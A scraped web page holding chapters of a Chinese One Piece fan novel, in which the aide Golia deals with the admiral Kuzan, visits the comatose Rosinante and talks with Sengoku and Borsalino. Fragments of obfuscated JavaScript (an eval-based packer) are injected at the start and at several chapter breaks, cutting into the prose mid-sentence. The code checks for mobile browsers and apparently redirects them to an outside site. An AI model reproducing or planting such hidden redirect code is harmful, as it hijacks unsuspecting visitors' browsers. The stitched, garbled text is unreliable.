0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16218841|180624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都抱着一沓文件头也不抬的在审阅当中，等隔壁开始会议后，两人又同时停下手中的工作开始拿着笔齐刷刷地会议记录。 感觉自己更加格格不入的歌莉娅：…… 现在大将的副官都这么卷的吗？ 一段时间没见，她怎么感觉这两个人更憔悴了一些？ 歌莉娅为了融入集体，从口袋抽出一支笔，又问身旁的海军借了一张纸，作出一副认真做好会议纪要的模样，只是没坚持多久眼神就开始放空…… 很快，本次会议就来到最后一个议题，前任七武海莱斯特的继任者——作为七武海的莱斯特被击败，被海军判断不再具有威慑力的莱斯特被除名了。 最近七武海的变动过于频繁，无论汉库克、甚平还是多弗朗明哥都是这两年成为七武海的。 为了稳定海军、四皇和七武海之间的平衡，海军现在急需强有力的继任者，不能再让七武海轻易被击败，要不然这对七武海的威信是一个巨大打击。 参会的海军开始七嘴八舌讨论起来。 “莱斯特居然被打败了？” “说到底莱斯特还是太弱了，这么轻易被打败了。” “打败他的是谁？我们可以考虑邀请他顶替莱斯特的位置。” “是红发香克斯。” “那个该死的红发！” 随即是什么东西裂开的声音。 “混蛋卡普！你给我住手！” 然后外面又是一阵兵荒马乱。 歌莉娅叹了一口气，笔无意识在白纸上画圈圈，思绪开始飘远。 她没想到卡普对香克斯的怨气依旧是这么大，光听到名字就开始生气。 不过也不奇怪，香克斯将卡普最后的幻想都戳破了。 自从路飞告别香克斯以后，天天将把要当海贼王挂在嘴边。每听一次，卡普就要揍路飞一顿，骂红发一顿。 她从开始的劝阻到后来无动于衷，毕竟她再凑上去的话，卡普可是连她也一起训，既然路飞这顿揍是挨定了，她完全没必要再去送人头了。 她现在怀疑之前香克斯走得这么匆忙就是因为收到卡普要回去风车村的消息，想当初香克斯前头刚走，卡普后脚就回来了，时间凑巧得让人不敢置信。 陷入过去的回忆，歌莉娅手上的笔将白纸戳穿也毫无察觉，直到战国略带疲惫的声音响起才唤回她的思绪。 “说说看吧，关于继任人选你们有什么人选？” 按照惯例海军是会首先邀请击败前任七武海的海贼的，但红发香克斯显然不会接受他们的邀请，那就没必要浪费时间交涉了。 一时间没有人说话，毕竟大家都是老油条了，谁也不好说自己提议的海贼还会不会轻易被打败，但战国显然不会这么轻易放过众人的。 于是在座各位军官喜获会后作业——明天上午每人提交一个继任七武海人选并陈述一千字理由。 但——这和给她布置作业有什么区别？ 歌莉娅猛地抬起头，正好和对面的黄猿的副官对视上，彼此都能从对方眼中看到抗拒和疲惫，身上散发的社畜味更加浓郁了。 有一个爱好摸鱼的上司真的好烦啊！ 14.第 14 章 会议结束后，其他副官都已经紧跟着自己上司的步伐离开会议室，库赞懒洋洋地踱到歌莉娅的面前，眼睑耸拉盯着发呆的歌莉娅。 “副官小姐在想什么？” “想下班。” “唉……我也想下班……” 歌莉娅倏忽抬手攥住库赞的披风，湛蓝色眼眸紧盯着一脸懒散揉着脑袋的男人，“想都别想！我要加班赶报告的话，你也别想逃！” 明天上午把七武海人选报告提交到战国元帅那里，现在已经五点了，今天不加班是铁定完成不了的。 库赞试图从歌莉娅手中抢救自己的衣服，但衣料在对方手里纹丝不动，他轻叹了口气，“副官小姐，我没打算逃……” “所以可以放开我了吧？” 歌莉娅上下仔细打量了库赞脸色的神色，确定对方不像在欺骗自己才轻哼一声缓缓松手，披风的一角早已在她的力度下皱成一团。 “小姐这是什么眼神？” “怀疑的眼神。” 歌莉娅随手将刚刚写写画画的的纸张揉成一团投到不远处的垃圾桶里，难得没在上班时间对库赞使用敬语，“今天的你，勤劳得让我有点害怕。” 无论是之前乖乖听话独自完成战国元帅扔过来的文书还是现在愿意加班完成报告都让她不仅怀疑库赞被掉包了。 “啊啦啦~我才是要害怕那个，不配合的话你又给我一拳怎么办？” 库赞的声音带着明显的笑意，嘴角漾着弧度，扯动嘴角的动作让下巴的淤青瞬间钝痛起来，眉眼弯弯霎时变成眉峰紧蹙，“嘶——” “说真的，小姐下手未免太狠了点？” 他承认他是赖床了，假装听不到歌莉娅的叫喊，但罪不至此啊。 会议上除了卡普和波鲁萨利诺以外的同僚都偷偷摸摸打量着他脸上的伤，然后捂着嘴笑。 嗯，之所以除了卡普和波鲁萨利诺是因为这俩人是光明正大的看笑话的。 这已经是库赞第二次挨歌莉娅的拳头了，他可算知道他的前同僚们为什么都这么脆弱经不起歌莉娅一拳了。 嗯，他必须得说这拳头尽得卡普先生的真传。 “我都说我不是故意的！我已经道歉了！”歌莉娅试图狡辩，说到最后还倒打一耙，“这都怪你！谁让你不肯起来，别以为我不知道你在装睡！” 当时库赞呼吸节奏都变了，还不知道对方是在装睡，她就是傻子。 库赞嘴唇嚅动了一下，最终还是没有反驳，而是选择开启另一个话题。 “算了……新七武海的人选，小姐有什么想法吗？ “想法？想法就是这活一点都不容易呢……要在一堆烂橘子里面选一个没有那么烂的。” 歌莉娅撇撇嘴，往嘴里塞了一颗糖，透过玻璃眺望着靠岸的军舰——军舰上残留着不少炮火的痕迹，估计刚遭遇到一场剧烈的战斗。 港口待命的医护班马不停蹄地冲上去军舰，紧接着伤员陆陆续续被担架从船上抬下来，担架后下来的是还能走动的海军，但这些海军身上都带着斑斑血迹，看着也受伤不轻。 这样的场景在马林梵多的港口几乎每天都在发生。 七武海啊…… 没办法改变世界政府给予海贼合法掠夺的决定，能做的也只有不让肆意妄为的海贼成为七武海，让多弗朗明哥那样的人成为七武海获得各种特权和豁免，对普通人来说简直是一场灾难。 她听说多弗朗明哥成为了德雷斯罗萨的国王，她可不相信对方是用什么人格魅力当上国王的，那个男人只会带来腥风血雨，在世界政府的庇护下德雷斯罗萨成为人间炼狱她也不奇怪，毕竟对方可是连亲弟弟都能痛下杀手的男人。 想到这，歌莉娅的眼神霎时冷下来，嘴角抿成一条直线。 罗西南迪…… 库赞不知道歌莉娅心里所想，他顺着对方的视线望去，两人的目光落在同一个地方——“那是斯托洛贝里的军舰，看来经过一次苦战呢……” 中将以上的军舰都是专属定制的，因此他很轻易就认出来那艘军舰的主人是谁。 “啊啦啦……最近的大海真的不平静。” 虽然自罗杰开启大海贼时代后大海从未平静过，但最近的海贼却格外焦躁，不停挑衅着政府和七武海，海军士兵受伤人数直线上升，七武海这两年也是换了一茬又一茬。 能成为七武海的无一不是海贼中顶尖的存在，饶是如此七武海依旧被不停打败，完全没达到预期中的震慑效果。 “所以请您不要再摸鱼了，青雉大将。”歌莉娅垂下眼帘将视线从远处收回，偏头望向库赞，目光锁定在他写满倦意的脸上，“上班的时间就请好好工作。” 不要再给她增加工作量了。 “怎么突然就——” 歌莉娅严肃郑重的语气将库赞一怔，他摸着自己的颈项有些摸不着头脑，话题怎么换这里来了？ “虽然给垃圾工作确实让人作呕，但这也是没办法的，谁让您是大将呢？” 最近这段时间库赞相较之前更加无精打采和时不时装深沉的模样以及极为低效的工作速度引起歌莉娅的注意。 经过打听，她总算知道库赞消失的一周原来是去给天龙人出巡当护卫了。 天龙人有随时召唤大将的特权，所以库赞去给天龙人当护卫完全是职责范围内。 这下她总算知道库赞的异样从何而来，毕竟在垃圾面前假装自己一条忠诚的看门狗确实让人作呕到极点。 如果是她的话，甚至不知道能不能按捺住自己。不得不说，有些钱不是她能赚的，一瞬间她甚至有点同情库赞了，但转念一想，她这种海军基层杂工就不要同情海军金字塔的大将了。 尽管歌莉娅并没有指名道姓，但库赞还是瞬间明白“垃圾”的含义，他下意识扭头确认走廊上是否有其他人，等确定走廊上只有他们俩后才松了一口气。 “唉……”库赞有点头疼地扶着额头，虽然他也并不觉得那群家伙有什么值得尊敬的地方，但是——“口无遮拦这点就没必要这么像卡普先生了吧……” 卡普是海军之中唯一一个敢公然咒骂天龙人的人。 “你也讨厌他们吧？”歌莉娅的腮帮子随着牙齿的碾磨微微鼓动，硬糖在牙齿的啃嚼下发出细碎的脆响，“真是不坦率呢，库赞。” “……”库赞默不作声地用晦暗不明的眼神凝视着歌莉娅，最终喉咙才发出“嗯”的气音，疲惫地捏了捏自己的脖子，“成年人的世界就是这么复杂的……” 曾几何时他也是一个出口成脏的热血青年，只是渐渐地学会成年人这套将自己包裹起来。 他注意到歌莉娅说这话的表情和平时说讨厌的加班时并没有太大区别，他已经搞不清这到底是年轻人的天真，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16230168|180624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说她真觉得天龙人并没有什么大不了。 “副官小姐，你觉得正义是什么？” 库赞插着兜望向窗外，但目光却始终没有一个落点，明明楼下来来往往那么多海军，但却没有一个能映入他的眸子里。 “欸？你们大将还真喜欢问别人怎么看待正义呢。” “你们？波鲁萨利诺吗？” “嗯……” 歌莉娅撇撇嘴，不是很懂他们为什么这么喜欢把正义挂嘴边，更有甚者还把自己的正义弄成牌匾高挂在办公室墙边上。 “嘛——那你是怎么样回答的？” “不知道，我是文盲。” “？” “正义是什么都行吧，我讨厌思考这种哲学问题，比起这个我更关心的是今天能不能早点下班。” 歌莉娅撇撇嘴，她对海军各位的正义一点兴趣都没有，正义从来不是用嘴巴说的，有这个闲情逸致她还不如多处理点文书，争取早点下班，她真的不想加班！ 说话间，他们已经重新回到办公室，歌莉娅的手扶在门把手上回眸瞥视库赞，他正双手插兜脚步拖沓地跟在身后，脸上本是一片深沉之色，但又被歌莉娅的话打了个措手不及，脸上的表情一下子显得可笑起来。 不过说到底有空想这些，果然还是因为——“一天到晚你都在想这些有的没的吗？看来你的工作不饱和。” 推开门走进去办公室，歌莉娅想都没想就走到自己位置上的文书垒砌在一起，她轻松地搬起半人高的文书堆塞到库赞的怀里。 库赞茫然地被塞了满怀：“？” “既然如此，这两天你要不把这些处理完，你就是太闲了才这么容易胡思乱想，做完这些，我包管你没时间考虑这么多。” 人太闲了就是喜欢想东想西，最好的治疗方法就是忙碌，想当年她最忙的时候脑子里只有鲨鲨鲨，这个现在鲨，那个晚点鲨，至于脑子根本不带动一下的。 “……” 不不不，这是不是搞错了什么？ 他只是想问问副官小姐对海军正义的想法，完全没有揽活的意思，而且到底哪来这么多文书啊？ 库赞的额角冒出汗珠，身体僵硬地抱着文书站在歌莉娅面前。 歌莉娅看出库赞眼神的意思，主动解释道，“这是北海支部提交过来的明年预算，这两天需要处理完。”当然是骗人的，这些只要这个月处理完就好了。 “我觉得——” “我不要你觉得，我要我觉得。” “……” 或许是库赞脸上的表情取悦了自己，歌莉娅“噗通”一下子笑出声，针对库赞前面的问题还是按照自己理解回答，“我觉得正义只要问心无愧就好了。” 每个人对正义的理解都不一样，绝对的正义也好，模棱两可的正义也罢，她不想对别人的正义指手画脚，但别人也别想妄图用自己的正义要求她。 “你知道吗，青雉大将，听说男人上了年纪很容易秃头，整天想太多就更容易掉头发。” 虽然现在库赞的头发看着还挺浓密的，但是这样子东想西想下去可不好说。 “……我还不到四十。” 库赞被噎了半天，反应过来第一时间就在强调自己年龄，他还年轻呢！ 现在他突然觉得之前冷若冰霜不屑和自己多说工作以外的话的副官小姐还挺可爱的。 15.第 15 章 “你说真的？真的不用我留下来？” 歌莉娅不可置信的又确认了一遍。 “真的，给战国先生的报告我今晚会自己完成的，你可以下班了。” 库赞坐在椅子上揉了一下自己的脑袋，将签字笔从文书堆里扒拉出来，又从抽屉抽了一张报告专用纸，完全就是一副准备挑灯夜战的样子。 “！！！” 这一刻，歌莉娅觉得库赞身上散发着万丈光芒，甚至要闪瞎自己的眼睛，可比某个吃了闪闪果实的人亮眼多了。 于是她相当诚恳地垂下头朝库赞道歉，“对不起，青雉大将，刚刚是我对您口出狂言了，请原谅我的失礼吧！” “啊，那要不和我去约会当做赔礼？” “少给我得寸进尺！” 如愿挨了歌莉娅一记白眼后，库赞摸摸后脑勺总算闭上忍不住口花花的嘴。 歌莉娅从抽屉抽出一沓纸质的资料放到库赞的面前。 “这是什么?悬赏令？” 库赞看着面前一大本纸质的东西，本以为又是一大沓待处理文书，结果他翻了一下才发现是悬赏令，悬赏令后附有一定量的文字分析。 歌莉娅用最简洁的语言给库赞介绍了一下，“这是近两年来大出风头并且悬赏金在亿元以上的海贼，其中这里悬赏金波动在近一年达到百分之一百以上的海贼……你可以在里面挑一个顺眼的提名。” “这是你自己汇总分析的？” 库赞会这么问主要是歌莉娅平时到点就下班，绝不加班一分钟的模样让人过分深刻，实在看不出来她还会主动做这个。 “当然啊！” 海军捉到悬赏的海贼除了记军功以外，还会根据不同级别按照悬赏金一定比例发放奖金。 歌莉娅对加量不加价的文书处理工作没兴趣，但对这种多劳多得有奖金的工作还是很有热情的，因此早早就做好攻略，捉哪些海贼最划算。 可惜的是海军精英班毕业生皆由海军军官带领开始实习期，在实习期满之前不能独自出海，必须和海军军官一同出海巡逻，前几任上司和她都合不来，出海次数少之又少，这导致大大降低歌莉娅赚钱的机会，这么久就没赚几个钱，还会被该死的上司抢走功劳。 库赞托着下巴像在饭店看菜单一样翻阅着，嘴里还不忘问歌莉娅有什么推荐。 歌莉娅身体往前倾，发丝垂落在库赞的手臂上，她几乎趴在办公桌上给对方介绍着，“这个！鹰眼乔拉可尔·米霍克，接连击败数位大剑豪，新晋世界第一剑豪，实力这块没话说，风评也不错，热衷于剑道，一点都不爱惹事，不像海流氓那个贱人。” 至于鹰眼米霍克被称为海军猎人这种小事就不值一提了，他不去折腾普通人，只对海军下手就已经挺好了，对海贼不能有更高的道德要求。 除了鹰眼米霍克以外，歌莉娅海还提了其他两个风评还可以的海贼，但实力都没有鹰眼米霍克强劲，至于对方会不会答应就不在歌莉娅的考虑范围内，毕竟这不是她的活，她只负责提。 手臂上的痒意让库赞垂眸瞥了一眼，红色的发丝和黝黑的皮肤形成鲜明对比，让他眸光顿了顿，然后身体稍稍往另一侧移动了一下，避免与歌莉娅过分贴近。 很快，他将注意力重新放回资料上，简单看了其他人一眼后，他又将页面翻回到鹰眼米霍克的资料上，和鹰眼米霍克相比，其他人显然黯然失色。 歌莉娅告别库赞后，才发现自己居然已经加班了快半个小时了，她暗骂了一声晦气后加快脚步离开办公楼。 …… 最后一缕金光没入地平线，天色便彻底沉下来，街灯开始接连亮起来，照亮了昏暗的街道。 歌莉娅捧着一束康乃馨走进海军医院，熟门熟路地往住院区走去。 海军医院的住院部占地面积很大，几乎占了医院三分之二，毕竟对于长年累月活跃在战斗第一线的海军来说小伤压根不用来医院，舔舔就好了，一旦来了几乎是躺着被送进来的，不住一段时间根本起不来那种，因此住院部尤为重要。 进入A区住院部，护士站的值班人员抬头看了歌莉娅一眼又重新低头处理事情，她已经认得时不时出入此地的歌莉娅了，对方肯定又是来探望罗西南迪中佐的。 罗西南迪的病房在楼层的角落里，歌莉娅走进病房，病房里如同被静寂果实能力隔音壁覆盖一样安静，房内只有夏风从敞开的窗口钻入拂动着窗帘的声音。 歌莉娅进入房间下意识扫了病床上的男人一眼——金发男人一如既往如同睡美男一般沉睡着，毫无苏醒的迹象，只有微微起伏的胸膛证明他还活着。 她站在病床垂下眼眸盯了罗西南迪好一会，才挪动脚步将手上的花束插到花瓶里，接着才拉开椅子坐下，舒展紧绷了一天的脊背歪坐在椅子上，双手随意地搭在身侧。 罗西南迪自四年前被多弗朗明哥重伤后便一直昏迷着，他身体的伤早已痊愈，但却迟迟未能醒来，战国动用了所有关系请来的名医均对罗西南迪这种情况毫无头绪，最后只能静养着。 自从来到马林梵多后，歌莉娅就时不时会来罗西南迪的病房坐一下，或是对罗西说说罗的近况，或是抱怨一下最近忙碌的工作，或是放空脑子在这里享受难得平静…… 仿佛这一切和罗西醒着的时候一样，一切都没变，毕竟从前他也是一直听着她念念碎的。 歌莉娅的眸光落在罗西南迪安静的睡容上，曾被她大声嘲笑的小丑妆容早被卸得一干二净，窗外的阳光撒在他的脸上让人有种天使落入凡间的错觉。 她喃喃自语着，“真是的……你到底要睡到什么时候……该死的多弗朗明哥都在香波地群岛开起人类拍卖场了……” 有时候她会羡慕罗西南迪躺在这，不用为了两个钱去忍耐着傻逼们指手画脚着，也不用面对这个越来越烂的世界，“战国爷爷都不知道在想什么，居然同意多弗朗明哥那个贱人成为七武海。” “啪！”歌莉娅重重往后一靠，颈项往后仰着，后脑勺靠在椅背上，整个人像是被抽走浑身力气一般，“啊，好累啊……我到底什么时候才能退休……” “吱呀——” 忽然，走廊传来细微的声响，紧接着是房门被推开的声音。 歌莉娅保持着仰头，微张嘴巴的姿势望向门口——战国一身风尘仆仆的提着果篮走进来。 她看到战国的瞬间差点整个人蹦起来，从椅子上摔下去，好悬她及时扶住了床沿，要不然铁定跌倒在地。 坐稳后歌莉娅下意识扬起笑容朝对方打招呼，“好久不见啊，战国爷爷。” “如果三个小时算久的话，确实挺久不见了。”战国将果篮放在桌面，扯了扯嘴角回道。 三个小时前刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16236519|180624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚结束的会议，歌莉娅才陪同库赞参加完，两人在会议上才碰过面。 歌莉娅嘴边的笑容一下子僵住了，“咳咳！一日不见如隔三秋嘛！”紧接着手脚麻利地将椅子让给战国。 她就是反射性的招呼语，无他，战国训她的次数比她爷爷还多，她耳朵都要起茧了，她最怕就是这种念念碎了。 “油嘴滑舌！” “嘻嘻。” “你少学卡普那样给我闯祸，我就谢天谢地了。”战国疲惫的脱下眼镜，阖上双眼按了按鼻梁，再次睁开眼时就算是被称作智将的战国眼里也难免写满疲倦，“今天会议上人多我就没说你，你就不能给我学一下什么叫尊重上司吗！” “……” “库赞的脸——他好歹是大将，太不像话了！让别的海军看到像什么样子！” “……”不是啊，库赞成天随地大小睡难道就像样吗？ 尽管心里是这样子想，但歌莉娅嘴上却一句不敢反驳，安静如鸡，完全不敢像之前对波鲁萨利诺一样回答战国。 战国打量着面前缩成一团的歌莉娅，重重的叹了一口气。 歌莉娅也算是他看着长大的，明明小时候看着还挺乖巧可爱的一个小孩，还会帮忙管教一下罗西南迪，结果长大后来了个大变样，行事随心所欲，到底是哪里出了差错呢？ 而卡普自从那件事后就越发宠溺歌莉娅，导致歌莉娅越来越肆无忌惮。 歌莉娅看战国的脾气来得快，去得也快，这才敢小声辩解，“库赞不打不行啊！他一天天净会偷懒睡觉。” 战国：“……” 听着你还挺有道理的？ “我只能向上管理了，战国爷爷你没发觉最近我们部门的工作效率高了吗？” 歌莉娅坚信着不会向上管理就只能自己做到死，梅格就是她的前车之鉴了。 战国沉默了。 因为最近来自库赞办公室的文书平均处理时间真的缩短了，更可怕的是之前他敲打性质送过去的文书库赞真的按时完成了。 其实他压根就没打算对方按时完成，能完成已是谢天谢地。 他重新带上眼镜打量了歌莉娅一遍，难不成歌莉娅真的是这方面管理天才？ 对这群臭小子他不能讲道理，用拳头说话比较好，那他还是对他们太温柔了。 歌莉娅被战国看得发毛，缩了缩肩膀，“怎、怎么了？” “没什么……”战国收回视线，嘱咐了一句，“下次别打在能看到的地方。” “欸？欸！”歌莉娅猛地抬头，眼眸的错愕一览无遗，但很快又转换为喜悦，“好呢！” 这可是战国元帅批准的，只要库赞敢摸鱼她就可以揍！ 兴奋之下歌莉娅顺手拿了果篮里一个苹果，随手擦了擦就啃了下去，然后瞄了一下果篮其他的水果。 真不愧是战国买的果篮，配得上他的级别，都是高级货，她已经好久没吃过这么清甜爽口的水果了，毕竟她的工资紧绷绷的，根本没有余钱买高档货。 等战国拿着洗干净的苹果从洗手间出来的时候，歌莉娅已经不在了，而桌面空空如也——果篮不翼而飞了。 战国：“……” 前有卡普顺仙贝，后有歌莉娅偷果篮，爷孙俩就逮着他一个薅是吧？ “真的一天天不学点好的！净学卡普的臭毛病！” 16.第 16 章 歌莉娅从病房跑出一段距离依旧听到战国的怒吼，她扭头确认了一下战国并没有追出去，瞬间放心下来了。 在医院还这么大声，一点素质都没有，唉，真是的！ 她哼着曲笑容灿烂，脚步轻快地提着果篮往外走，在经过花园回廊的时候眼余光一瞥捕捉到少见的黄色条纹，于是她又默默倒退了几步，歪头看向站在树下那抹熟稔的背影，迟疑地开口，“黄猿桑……？” 波鲁萨利诺本来正盯着树枝上的叶子出神，闻言侧头望过来，嘴上叼着的香烟还燃着，缕缕烟雾正弥漫在他的周围，烟雾缭绕着使他仿佛整个人都在一片迷雾中，让人琢磨不透。 等他注意到唤他的人是歌莉娅后脸上淡漠的神色才微微一变，他插着兜向前走了几步，随着他的动作，烟雾开始朝歌莉娅方向蔓延过来。 歌莉娅瞧着马上要涌到自己面前来的烟雾，下意识眉头拧成一团，脚步向后退了几步，身体向后仰着，浑身透露抗拒之意。 她举起一只手臂阻挡在两人之间，另外一只手掌心捂住自己的嘴鼻，含糊不清的声音地从指缝中漏出，“停！你别过来！” 波鲁萨利诺停下朝歌莉娅迈进的步伐，他不解地挑眉，顿了顿才反应过来歌莉娅过激的反应，心里暗地发笑。 他伸手将嘴边的香烟拿下来，忽然勾了勾嘴角，故意往前凑了半寸，墨镜后藏着促狭的光，不等歌莉娅反应含在唇齿间的那口烟便被缓缓吐过去。 歌莉娅：“！！！” 汹涌而至的烟雾让湛蓝色的眼眸瞬间瞪圆，纤长的睫毛疯狂颤动着，她如同受惊的小兽一般猛地往后跳了半步，浑圆的眼眸却没动半分依旧死死盯着波鲁萨利诺。 “好令人伤心的反应呢~老夫是什么洪水猛兽吗~?” 波鲁萨利诺看着歌莉娅皱眉躲避的模样，歪头假装不解，说话间又笑眯眯往歌莉娅靠近一步。 歌莉娅眉头紧蹙地挥动着手臂驱散着面前的烟雾，早知道对方在吸烟她就应该装作什么都没看见走过去的，怪她嘴贱。 “呛死了！说话就说话，靠这么近干嘛！你再走过来我就要举报你涉嫌职场骚扰了！男女同事之间就应该保持距离！” 歌莉娅又猛地后退了两步，她实在受不住香烟的味道，闻到就会感到身体不适，一难受她就忍不住想打人，只可恨自己技不如人，根本打不过波鲁萨利诺，要不然她就直接上手了，一如当年对斯摩格一样。 虽然不能动手，但她还能动嘴。 “好可怕呢~现在的年轻人都这样子欺负老人家的吗？” 虽然嘴上不饶人，但波鲁萨利诺重新吸了一口，扭头往后吐出一圈烟雾后，指尖一用力就将香烟掐灭。 晚风轻轻掠过，吹得树木沙沙作响，很快就吹散了香烟呛人的味道。 歌莉娅试探性地轻轻嗅了一下面前的空气，总算没有闻到呛人的香烟后才安心放下捂住嘴鼻的手掌，嘴角撇了撇，没好气道，“既然知道自己是老人家就少吸点烟吧。” 波鲁萨利诺眼皮抬都不抬，随手一扔就将烟蒂精准地投入几米外的垃圾桶里，懒洋洋道，“歌莉娅酱既然这么关心老夫，那就给来给老夫当副官吧……” “我拒绝。” 歌莉娅想都没想就拒绝了，毕竟波鲁萨利诺流水一样换副官的事迹她还是略有所闻的，加上对方副官开会时憔悴的面容，她感觉这个传闻可信度相当高。 她还是个宝宝，吃不了这个苦。 比起波鲁萨利诺，库赞当她上司挺好的，毕竟感觉波鲁萨利诺不会让着她，还是库赞比较好欺负，心情不够揍库赞两拳，库赞也只是会嘴上抱怨一下。 波鲁萨利诺瞥了一眼歌莉娅手上新鲜的果篮，“真是稀奇呢，小小姐今天居然不需要加班~” 战国元帅会后布置的作业明面上是布置给大将和中将，但懂的都懂，实际上是布置给他们的副官们，领导们最多也就是起个复核作用，副官才是真正的劳碌命。 歌莉娅咧开嘴毫不吝啬地伸出大拇指表扬着库赞，她为之前自己辱骂库赞感到抱歉，“青雉大将是个好上司。” 波鲁萨利诺秒懂，做出浮夸的表情，“呦~更稀奇了。” 库赞君居然不当甩手掌柜，是在尝试当好上司吗？还是说因人而异区别对待呢？ 他用耐人寻味的目光不着痕迹地打量着歌莉娅。 “你准时下班倒是一点都不稀奇。”歌莉娅随手从果篮拿了两颗葡萄，递到波鲁萨利诺面前，“吃吗？” “嗯？”波鲁萨利诺诧异地垂眸瞥向躺在歌莉娅掌心的葡萄，又看了看已经被拆开的果篮，“小小姐，你这果篮是用来探病的吧？” 未言之意是你这就开吃了？ “不是，我早探完病了。”歌莉娅看波鲁萨利诺没接过去，干脆收回手将葡萄塞到自己的嘴里去，鼓着腮帮子含糊不清道，“这是——” 她坐在户外长椅上沉吟思考，组织了一下语言，点点头肯定的回答，“嗯！家属回礼！” 波鲁萨利诺瞧着歌莉娅理直气壮的样子，嘴角没绷住，喉咙发出短促的笑声，“哦呀~还真是有礼貌的家属呢~回礼居然还是果篮。” 没礼貌的歌莉娅毫无知觉的继续点点头，“对！水果还挺新鲜的呢！”然后又拿了几颗葡萄继续往嘴里送，一下子腮帮子就被撑得鼓鼓的。 “哦呀~那老夫就不客气了~”波鲁萨利诺从果篮里拿了一根香蕉开始剥起来，“正好老夫还没有吃晚餐呢~” 他两三口就将香蕉解决了，只剩下香蕉皮，看得出来是真的饿了。 歌莉娅抬腕看了一下时间，眸子满是疑惑不解，“这个点还没有吃？你总不会是在加班吧？” “猜对了~”波鲁萨利诺也在歌莉娅身边坐下，高大的身躯舒展地往椅背靠着，他脸上难得出现疲倦的神色，“海贼——真是麻烦啊……” 这下歌莉娅是真的惊讶了，两个日常爱好摸鱼的大将今天居然不约而同地加班，但波鲁萨利诺的神情让她不好说什么，“来，多吃点吧！”说着就将果篮塞到波鲁萨利诺怀里。 吃东西治百病，吃东西好啊！ 波鲁萨利诺低头看着怀里的果篮，又继续拿了一根香蕉，但这次动作相较上次慢条斯理多了，好半天还将香蕉拿在手上没有开始吃，不知道在想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16241045|180624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。 两人陷入短暂沉默，周遭仿佛只剩下蝉鸣的声音，太阳早已下山，温度已不像白日般炙热，缕缕夏风吹来甚至带来阵阵清凉。 歌莉娅仰着脖颈望向天空中早已高悬的弯月和繁星，手指无意识的摆弄着腕间的手镯，被风吹动的发丝搔得她的脸颊有点痒，她抬手将长发拨到一侧肩膀，身体继续往后靠着，后颈就贴在椅背上，渐渐地整个人就歪在长椅上…… 等波鲁萨利诺被肩膀上的重量唤回心神时才发现歌莉娅不知道何时已安然入睡，垂落的长发遮掩住她的大半张脸，发丝随着呼吸微微起伏着。 波鲁萨利诺眼神微动，抬手将伸手轻轻将那绺垂落的发丝别到歌莉娅的耳后，指腹擦过耳垂时，浓密的睫毛颤了颤，但睫毛的主人依然没有睁开眼，只是鼻息发出微微的轻哼声。 收回手后才发现自己指尖上还黏着一根发丝，他用指腹捻了一下，火红色的发丝细得像根红线一般缠绕在他的手指上。 波鲁萨利诺不知道想到什么，神色微变，很快又恢复如初，低笑了一声，将缠绕在指尖的发丝捻走，紧接着他的手想摸向烟盒，但眸子在落在歌莉娅身上时手又重新从口袋抽出来。 “布鲁布鲁——” 这时波鲁萨利诺口袋里的电话虫惊醒，发出响亮的叫声，打破静谧的气氛。 歌莉娅身体一僵，猛地睁开眼从长椅上蹦起来，“要迟到了吗！” 等她发觉现在还是黑夜时，脑子才转过来，这不是起床的闹钟，自己在医院花园睡过去了。 她扭头望向身上发出声响的波鲁萨利诺，对方正嘴里念叨着“奇怪呢~怎么没有反应？”手指不停地按着手上的黑色电话虫。 “你那个是窃听用电话虫吧？”歌莉娅无语地看着一直在折腾电话虫的波鲁萨利诺提醒道。 “嗯？哦！”波鲁萨利诺这才恍然大悟地从怀里掏出另外一只电话虫，电话虫正孜孜不倦地叫着，等待着他按下通讯按钮，“么西么西，这里是黄猿~” “黄猿大将！斯托洛贝尔中将手术成功了！”男人激动的吼叫声被电话虫惟妙惟肖地模仿出来，充沛的泪水同步从电话虫眼睛流出来。 “情况怎么样？” “已经脱离危险期，医生预计斯托洛贝尔中将明天就能醒来。” “老夫知道了。” 没等对方回话，波鲁萨利诺就利落地挂掉电话，重新将电话虫塞回去口袋里，脸上看不出任何情绪。 斯托洛贝尔中将？ 歌莉娅倏然想到下午库赞曾提起这个名字，所以那艘军舰上不止士兵，就连中将也身受重伤吗？ 她注意到波鲁萨利诺站起身理了理身上的衣服，就要往医院大门方向走去。 “你不去探望一下斯托洛贝尔中将吗？” 